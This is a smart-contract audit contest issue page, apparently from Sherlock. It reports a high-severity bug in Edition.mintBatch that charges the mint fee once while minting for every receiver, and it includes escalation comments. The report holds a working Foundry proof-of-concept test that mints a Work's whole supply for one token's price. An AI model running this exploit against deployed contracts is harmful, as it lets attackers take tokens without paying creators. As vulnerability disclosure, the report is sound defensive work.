Closed sherlock-admin3 closed 2 months ago
Escalate
Requesting another review of this report. It can be argued that this report is a duplicate of #264 The watson clearly shows via PoC that the fee is taken once, but the user is able to mint > 1 tokens.
Escalate
Requesting another review of this report. It can be argued that this report is a duplicate of #264 The watson clearly shows via PoC that the fee is taken once, but the user is able to mint > 1 tokens.
You've created a valid escalation!
To remove the escalation from consideration: Delete your comment.
You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.
Agree with the escalation, planning to accept and duplicate with #264
Result: High Duplicate of #264
Brenzee
high
Attacker can mint the whole supply of Work tokens for a price of one token
Summary
Users can mint the whole supply of Work tokens for a price of one token by calling
Edition.mintBatch(address[],uint256,uint256,bytes)
Vulnerability Detail
Edition.mintBatch(address[],uint256,uint256,bytes)
function mints_amount
of tokens for every receiver in thereceivers_
address array.In this function
FeeManager.collectMintFee
is called with the_amount
from the function parameters, which represents how many tokens will be minted for 1 receiver. This is where the mistake is made -FeeManager.collectMintFee
function expects the total amount tokens that will be minted.Inside the
FeeManager
contractgetMintFee
function is responsible to calculate how big of a fee in ETH should be paid. Thequantity_
parameter in this function is theamount_
fromEdition.mintBatch
function.Later in the
FeeManager
contract the returned value fromgetMintFee
function is used in the_collectMintFee
function, which manages all the ETH transfers. If there is enough ETH sent withcollectMintFee
function, it will succeed.Because of the mistake in the
Edition.mintBatch(address[],uint256,uint256,bytes)
function, it allows users to mint any amount of tokens (tillmaxSupply
) for price of one token.POC
Foundry POC
Attacker mints the whole supply for price of one token ### Instructions Copy the test below and add it to `Edition.t.sol` test contract. Run `forge test --mt "test_mintBatch_issue" --mc "EditionTest" -vv` command Test will succeed ```shell [PASS] test_mintBatch_issue() (gas: 254888) Logs: Bob ETH balance: 1000000000000000000 Bob Work balance: 0 Bob ETH balance after: 989400000000000000 Bob Work balance after: 10 ``` ### Test function ```solidity function test_mintBatch_issue() public { // It is possible to mint the whole Work for the price of one token address bob = address(0x123); vm.deal(bob, 1 ether); // For information uint256 balanceOfBob = address(bob).balance; console.log("Bob ETH balance: %d", balanceOfBob); // 1 ETH console.log("Bob Work balance: %d", edition.balanceOf(bob, 1)); // 0 // Cost of one token is 0.01 ETH + 0.0006 ETH uint256 costOfOneMint = 0.01 ether + 0.0006 ether; // mintFee + protocolFlatFee // Bob wants to mint the whole work for the price of one mint uint256 tokensToMint = edition.maxSupply(1) - edition.totalSupply(1); // Create a receivers array with Bob's address in the length of tokensToMint address[] memory receivers = new address[](tokensToMint); for (uint256 i = 0; i < tokensToMint; i++) { receivers[i] = bob; } // Bob executes the mintBatch vm.prank(bob); edition.mintBatch{value: costOfOneMint}(receivers, 1, 1, new bytes(0)); // Bob should have tokensToMint works at one mint price uint256 expectedBalanceOfBob = balanceOfBob - costOfOneMint; uint256 bobBalanceAfter = address(bob).balance; uint256 bobWorkBalanceAfter = edition.balanceOf(bob, 1); console.log("Bob ETH balance after: %d", bobBalanceAfter); console.log("Bob Work balance after: %d", edition.balanceOf(bob, 1)); assertEq(edition.balanceOf(bob, 1), tokensToMint); assertEq(bobBalanceAfter, expectedBalanceOfBob); } ```Impact
The whole Work supply can be minted for price of one mint:
Code Snippet
Edition.mintBatch
Tool used
Manual Review
Recommendation
In
Edition.mintBatch
function calculate the total fee required for all of the tokens together. Example:Duplicate of #264